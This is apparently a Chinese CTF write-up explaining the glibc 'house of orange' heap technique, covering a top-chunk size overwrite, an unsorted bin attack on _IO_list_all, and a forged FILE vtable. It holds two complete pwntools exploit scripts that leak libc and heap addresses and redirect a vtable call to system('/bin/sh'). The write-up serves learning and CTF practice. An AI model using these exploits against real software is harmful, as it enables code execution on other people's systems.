一些笔记而已。
house of orange wp 程序保护全开
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
程序流程很简单,有三个选项:build,see,upgrade。
===build=== build有次数限制,一共能够build4次,涉及两个结构体
1 2 3 4 5 6 7 8 9 struct house{ 8bytes struct orange * p; 8bytes char * name; } struct orange{ 4bytes int price; 4bytes int color; }
其中name的长度可以自定义,但最长不超过0x1000。
其中bss上有一个指针,表示当前的house,每次build都会被更新成最新的那个,也就是说后面的see,upgrade操作都是操作这个指针指向的结构体的,即只能操作最新build的那个house。
===see=== 普通的函数,打印出house的各种信息,之后通过打印name来产生leak。
===upgrade=== 编辑house的各种信息,但最多只能编辑3次。由于没有检查name的长度(但是最长为0x1000),导致暴力的堆溢出,并且直接使用read来读取,所以可以包含不可视字符。
===思路=== 因为保护全开,我能想到的方法就只有改free_hook
了。但此题没有提供free函数,并且受制于次数,无法实现这种利用。
house-of-orange :
使用条件: 1.能够获得libc基址 2.能够获得heap基址 3.能够触发unsorted bin attack
4.需要空间伪造FILE结构体
难点1:在没有提供free的情况下制造unsorted bin。 难点2:unsorted bin attack 去改_IO_list_all
到main_arena
中top
的位置。
_int_malloc
->sysmalloc
->_int_free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #_int_malloc() ... use_top: victim = av->top; size = chunksize (victim); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } else if (have_fastchunks (av)) { malloc_consolidate (av); if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } else { void *p = sysmalloc (nb, av); if (p != NULL ) alloc_perturb (p, bytes); return p; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 #sysmalloc() #ifndef DEFAULT_MMAP_THRESHOLD_MIN #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) #endif #ifndef DEFAULT_MMAP_THRESHOLD #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN #endif static struct malloc_par mp_ ={ .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1 ) }; ... bool tried_mmap = false ; if (av == NULL || ((unsigned long ) (nb) >= (unsigned long ) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; try_mmap: return chunk2mem (p); } } } if (av == NULL ) return 0 ; old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 )); assert ((unsigned long ) (old_size) < (unsigned long ) (nb + MINSIZE)); if (av != &main_arena) { } else { if (old_size != 0 ) { old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; set_head (old_top, old_size | PREV_INUSE); chunk_at_offset (old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE; if (old_size >= MINSIZE) { _int_free (av, old_top, 1 ); } } }
通过对上面代码的整理观察,我们得出以下结论:
1 2 3 4 5 目标:在没有free的情况下产生unsorted bin 条件:能够修改top chunk的size 做法: 1.覆盖top chunk的size,使&top+size为pagealigned,一般来说即size = size&0xfff; 2.申请一个大于size且小于0x20000的chunk,此时top会变成unsorted bin
利用这个unsortedbin,我们先申请一个large_chunk来泄露libc基址和heap段地址。
泄露libc基址很简单,通过fd和bk就可以泄露,写8字节内容,bk就泄漏出来了。 之所以是large_chunk,是因为当malloc一个large_chunk的时候,会把chunk自身的地址写到chunk的fd_nextsize和bk_nextsize的位置。见下代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #_int_malloc() ... if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } ...
因此只要写入0x10的字节就可以leak出写在fd_nextsize位置的heap的地址了。
接着是利用unsorted bin attack来任意地址写(此处我们写_IO_list_all
)。
在_int_malloc
中有这样一段代码,表示将一个unsorted bin摘下来。
1 2 3 4 5 3685 bck = victim->bk;... 3728 3729 unsorted_chunks (av)->bk = bck;3730 bck->fd = unsorted_chunks (av);
如果我们控制了bk下的值,即bck,那么有*(bck+0x10) = unsorted_chunks (av);
即可将unsorted_chunks (av)
写到任意位置,也就是将main_arena结构体中top对应的地址写到任意位置。
main_arena:
1 2 3 4 5 6 static struct malloc_state main_arena ={ .mutex = _LIBC_LOCK_INITIALIZER, .next = &main_arena, .attached_threads = 1 };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 struct malloc_state { mutex_t mutex; int flags; mfastbinptr fastbinsY[NFASTBINS]; mchunkptr top; mchunkptr last_remainder; mchunkptr bins[NBINS * 2 - 2 ]; unsigned int binmap[BINMAPSIZE]; struct malloc_state *next; struct malloc_state *next_free; INTERNAL_SIZE_T attached_threads; INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; }; typedef struct malloc_chunk *mfastbinptr;typedef struct malloc_chunk * mchunkptr;
关于_IO_list_all
:
_IO_list_all
是一个_IO_FILE_plus
结构体的指针:
1 extern struct _IO_FILE_plus *_IO_list_all;
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; # endif size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; #endif };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD (size_t , __dummy); JUMP_FIELD (size_t , __dummy2); JUMP_FIELD (_IO_finish_t, __finish); JUMP_FIELD (_IO_overflow_t, __overflow); JUMP_FIELD (_IO_underflow_t, __underflow); JUMP_FIELD (_IO_underflow_t, __uflow); JUMP_FIELD (_IO_pbackfail_t, __pbackfail); JUMP_FIELD (_IO_xsputn_t, __xsputn); JUMP_FIELD (_IO_xsgetn_t, __xsgetn); JUMP_FIELD (_IO_seekoff_t, __seekoff); JUMP_FIELD (_IO_seekpos_t, __seekpos); JUMP_FIELD (_IO_setbuf_t, __setbuf); JUMP_FIELD (_IO_sync_t, __sync); JUMP_FIELD (_IO_doallocate_t, __doallocate); JUMP_FIELD (_IO_read_t, __read); JUMP_FIELD (_IO_write_t, __write); JUMP_FIELD (_IO_seek_t, __seek); JUMP_FIELD (_IO_close_t, __close); JUMP_FIELD (_IO_stat_t, __stat); JUMP_FIELD (_IO_showmanyc_t, __showmanyc); JUMP_FIELD (_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
顺便一提,如何用gdb打印出_chain
的偏移:p &((struct _IO_FILE*)0)->_chain
1 2 pwndbg> p &((struct _IO_FILE*)0)->_chain $3 = (struct _IO_FILE **) 0x68
考虑有如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <stdlib.h> int main (void ) { FILE *fp = fopen ("./exp.py" ,"r" ); if (!fp){ printf ("something error!\n" ); exit (0 ); } printf ("hello world!\n" ); fclose (fp); return 0 ; }
fp就是一个FILE结构体,而FILE其实就是_IO_FILE
:
1 typedef struct _IO_FILE FILE;
实际去调试的话,可以发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 pwndbg> p _IO_list_all $11 = (struct _IO_FILE_plus *) 0x602010 pwndbg> p *_IO_list_all $12 = { file = { _flags = -72539000 , _IO_read_ptr = 0x0 , _IO_read_end = 0x0 , _IO_read_base = 0x0 , _IO_write_base = 0x0 , _IO_write_ptr = 0x0 , _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x0 , _IO_save_base = 0x0 , _IO_backup_base = 0x0 , _IO_save_end = 0x0 , _markers = 0x0 , _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, _fileno = 3 , _flags2 = 0 , _old_offset = 0 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x6020f0 , _offset = -1 , _codecvt = 0x0 , _wide_data = 0x602100 , _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = 0 , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps> } pwndbg> p *((struct _IO_jump_t *)0x7ffff7dd06e0 ) $14 = { __dummy = 0 , __dummy2 = 0 , __finish = 0x7ffff7a869c0 <_IO_new_file_finish>, __overflow = 0x7ffff7a87730 <_IO_new_file_overflow>, __underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>, __uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>, __setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>, __sync = 0x7ffff7a85370 <_IO_new_file_sync>, __doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>, __read = 0x7ffff7a861a0 <__GI__IO_file_read>, __write = 0x7ffff7a85b70 <_IO_new_file_write>, __seek = 0x7ffff7a85970 <__GI__IO_file_seek>, __close = 0x7ffff7a85340 <__GI__IO_file_close>, __stat = 0x7ffff7a85b60 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>, __imbue = 0x7ffff7a89b00 <_IO_default_imbue> }
如果我们在 __close = 0x7ffff7a85340 <__GI__IO_file_close>
上下断,调用fclose的时候就会断下
1 2 3 4 5 6 ► f 0 7ffff7a85340 _IO_file_close f 1 7ffff7a86960 _IO_file_close_it+288 f 2 7ffff7a7a3ef fclose+399 f 3 400642 main+76 f 4 7ffff7a2d830 __libc_start_main+240 Breakpoint *0x7ffff7a85340
如果能构造_IO_jump_t
,最后就能控制ip。
话题回到house of orange。这里我们是怎么让程序跳到_IO_jump_t
上去的呢?又是跳到那个函数上?
malloc_printerr
->__libc_message
->abort
->fflush
(_IO_flush_all_lockp
)->vtable->_IO_OVERFLOW
(hijack->system
)
由于unsortedbin attack的缘故,后面我们在malloc的时候程序会出错,调用malloc_printerr
函数,如下
1 2 3 4 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (victim->size > av->system_mem, 0 )) malloc_printerr (check_action, "malloc(): memory corruption" , chunk2mem (victim), av);
而malloc_printerr
则又调用了__libc_message
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { if (ar_ptr) set_arena_corrupt (ar_ptr); if ((action & 5 ) == 5 ) __libc_message (action & 2 , "%s\n" , str); else if (action & 1 ) { char buf[2 * sizeof (uintptr_t ) + 1 ]; buf[sizeof (buf) - 1 ] = '\0' ; char *cp = _itoa_word ((uintptr_t ) ptr, &buf[sizeof (buf) - 1 ], 16 , 0 ); while (cp > buf) *--cp = '0' ; __libc_message (action & 2 , "*** Error in `%s': %s: 0x%s ***\n" , __libc_argv[0 ] ? : "<unknown>" , str, cp); } else if (action & 2 ) abort (); }
而__libc_message
则又调用了abort
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __libc_message (int do_abort, const char *fmt, ...) { ...... if (do_abort) { BEFORE_ABORT (do_abort, written, fd); abort (); } }
而abort
则又调用了fflush
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void abort (void ) {...... if (stage == 1 ) { ++stage; fflush (NULL ); } ......
而fflush
其实就是_IO_flush_all_lockp
。
1 #define fflush(s) _IO_flush_all_lockp (0)
而_IO_flush_all_lockp
中用到了_IO_list_all
,并最终通过vtable调用了_IO_OVERFLOW
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int _IO_flush_all_lockp (int do_lock) { ...... last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { ...... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; if (last_stamp != _IO_list_all_stamp) { fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } ...... }
由于逻辑短路原则,想要调用后面的_IO_OVERFLOW (fp, EOF)
,前面的条件必须满足,即:
1 2 3 4 5 6 1.fp->_mode <= 0 2.fp->_IO_write_ptr > fp->_IO_write_base 或 1._IO_vtable_offset (fp) == 0 2.fp->_mode > 0 3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
满足任意一种case都行(我都成功了)。
如果选上面,我们就需要构造mode
,_IO_write_ptr
和_IO_write_base
。虽然构造的东西比下面多,但是都是简单的数值比较,比较容易构造。
如果选下面(orange的当时的做法),第一条我们难以构造,因为fp已经没法改动了;第三条需要构造_wide_data
为一个满足条件的指针,比如将wide_data
的IO_wirte_ptr
指向read_end
就可以了。*(_wide_data+0x20) > *(_wide_data+0x18)
即read_end > read_ptr
。
注:_wide_data
对应的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable; };
但是,我们现在写入_IO_list_all
的地址在main_arena上
,上面一堆的条件我们都无法bypass,虚表也无从构造,所以要让他通过fp = fp->_chain
找到下一个我们能布置的_IO_FILE
结构体。而_chain
在结构体中的相对偏移为0x68。而写入_IO_list_all
的main_arena
的相对偏移为0x68的位置为smallbin 0x60的bk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 main_arena: ... mchunkptr bins[NBINS * 2 - 2 ]; ... #define NBINS 128 #define NSMALLBINS 64 #define SMALLBIN_WIDTH MALLOC_ALIGNMENT #define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) +0x00 [ top | last_remainder ] +0x10 [ unsorted bin fd | unsorted bin bk ] +0x20 [ smallbin 0x20 fd | smallbin 0x20 bk ] +0x30 [ smallbin 0x30 fd | smallbin 0x30 bk ] +0x40 [ smallbin 0x40 fd | smallbin 0x40 bk ] +0x50 [ smallbin 0x50 fd | smallbin 0x50 bk ] +0x60 [ smallbin 0x60 fd | smallbin 0x60 bk ]
注:这图其实画错了,bin2处填的其实不是&bin2
,而是&bin1
。这是因为这样能正好对应chunk结构的fd和bk。如下为实际调试时看到的结果。
1 2 3 4 5 6 7 8 9 10 pwndbg> hex 0x7fe1038d1b78 0x100 +0000 0x7fe1038d1b78 10 b0 cd 31 ab 55 00 00 f0 94 cb 31 ab 55 00 00 │...1 │.U..│...1 │.U..│ +0010 0x7fe1038d1b88 f0 94 cb 31 ab 55 00 00 10 25 8 d 03 e1 7f 00 00 │...1 │.U..│.%..│....│ +0020 0x7fe1038d1b98 88 1b 8 d 03 e1 7f 00 00 88 1b 8 d 03 e1 7f 00 00 │....│....│....│....│ +0030 0x7fe1038d1ba8 98 1b 8 d 03 e1 7f 00 00 98 1b 8 d 03 e1 7f 00 00 │....│....│....│....│ +0040 0x7fe1038d1bb8 a8 1b 8 d 03 e1 7f 00 00 a8 1b 8 d 03 e1 7f 00 00 │....│....│....│....│ +0050 0x7fe1038d1bc8 b8 1b 8 d 03 e1 7f 00 00 b8 1b 8 d 03 e1 7f 00 00 │....│....│....│....│ +0060 0x7fe1038d1bd8 f0 94 cb 31 ab 55 00 00 f0 94 cb 31 ab 55 00 00 │...1 │.U..│...1 │.U..│ +0070 0x7fe1038d1be8 d8 1b 8 d 03 e1 7f 00 00 d8 1b 8 d 03 e1 7f 00 00 │....│....│....│....│ +0080 0x7fe1038d1bf8 e8 1b 8 d 03 e1 7f 00 00 e8 1b 8 d 03 e1 7f 00 00 │....│....│....│....│
所以我们总结一下,只要我们通过unsorted bin attack写入了_IO_list_all
,并且构造unsorted bin的size为0x61,且将这个bin构造成一个_IO_FILE
的结构体,之后在通过一次malloc,系统会将这个bin放入相应的smallbin 0x60,即构造好了_chain
,之后由于unsorted bin attack留下的错误,系统调用malloc_printerr
去打印错误信息,并最后经过一系列函数使用了_IO_list_all
,通过_chain
找到了我们在堆上布置好的_IO_FILE
的结构体,通过一系列检测后最终调用我们的虚表函数,即system
。
下面是exp:
bypass方法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./houseoforange' ) bin = ELF('./houseoforange' ) libc = ELF('./libc_local.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def build (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) def see (): cn.recvuntil(":" ) cn.sendline("2" ) def upgrade (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20 success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0 success('heap_base: ' +hex (heap_base)) pay='e' *0x400 pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) fake_file='/bin/sh\x00' +p64(0x61 ) fake_file+=p64(0xdeadbeef )+p64(_IO_list_all-0x10 ) fake_file+=p64(0 )+p64(1 ) fake_file=fake_file.ljust(0xc0 ,'\x00' ) fake_file+=p64(0 ) pay+=fake_file pay += p64(0 ) pay += p64(0 ) pay += p64(heap_base+0x5d0 ) pay += p64(0 )*3 pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive()
bypass方法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./houseoforange' ) bin = ELF('./houseoforange' ) libc = ELF('./libc_local.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def build (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) def see (): cn.recvuntil(":" ) cn.sendline("2" ) def upgrade (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20 success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0 success('heap_base: ' +hex (heap_base)) pay='e' *0x400 pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) fake_file='/bin/sh\x00' +p64(0x61 ) fake_file+=p64(0xdeadbeef )+p64(_IO_list_all-0x10 ) fake_file=fake_file.ljust(0xa0 ,'\x00' ) fake_file+=p64(heap_base+0x4e0 ) fake_file=fake_file.ljust(0xc0 ,'\x00' ) fake_file+=p64(1 ) pay+=fake_file pay += p64(0 ) pay += p64(0 ) pay += p64(heap_base+0x5d0 ) pay += p64(0 )*3 pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive()
此外还有一些细节的问题。
1 .0x60的smallbin是如何产生的?
在正常理解中,free一个小于0x80的chunk(64位)时,这个chunk会被加入fastbin。所以直接通过free是无法产生0x60的smallbin的。
大致有两种方法。
1.考虑如下代码
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> int main (void ) { void *p = malloc (0x80 ); malloc (0x10 ); free (p); malloc (0x20 ); malloc (0x60 ); return 0 ; }
2.考虑如下代码
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> int main (void ) { void *p = malloc (0x50 ); malloc (0x10 ); free (p); malloc (0x3f0 ); return 0 ; }
这个代码在调试时你会发现,通过malloc一个large chunk(大于0x3ff),fastbin会变成smallbin。
具体的代码是这样的。
malloc
->_int_malloc
->malloc_consolidate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static void *_int_malloc (mstate av, size_t bytes) { ...... if (in_smallbin_range (nb)) { ...... } else { idx = largebin_index (nb); if (have_fastchunks (av)) malloc_consolidate (av); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 static void malloc_consolidate (mstate av) { ...... if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset (nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink (av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset (nextchunk, 0 ); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL ; p->bk_nextsize = NULL ; } set_head (p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot (p, size); } ...... }
从而fastbin转成了unsortedbin,根据第一条原则,malloc遇到不够大的unsortedbin会将其归类,从而得到了smallbin。
hxb2017 pwn400 wp 这道题也是利用FILE指针搞事情。
程序提供了4个功能:
1 2 3 4 1. Create Profile 2. Print Profile 3. Update Profile 4. Exchange other's age
create和update函数处由于有负数溢出,所以能够覆盖一些东西,配合print函数能够leak。 exchange函数则提供了两个地址互写指针的功能。
